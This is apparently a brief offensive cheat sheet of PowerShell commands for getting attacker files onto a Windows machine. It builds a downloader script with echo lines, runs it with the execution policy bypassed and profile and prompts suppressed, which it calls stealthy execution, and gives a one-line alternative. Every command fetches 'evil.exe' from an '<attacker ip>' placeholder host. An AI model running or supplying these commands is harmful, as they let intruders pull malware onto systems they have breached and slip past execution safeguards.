PowerShell

PowerShell file downloader script

echo $webclient = New-Object System.Net.WebClient >>wget.ps1
echo $url = "http://<attacker ip>/evil.exe" >>wget.ps1
echo $file = "new-exploit.exe" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1

Execute PowerShell script stealthily

powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

Generic file download over HTTP

powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://<attacker ip>/evil.exe', 'new-exploit.exe')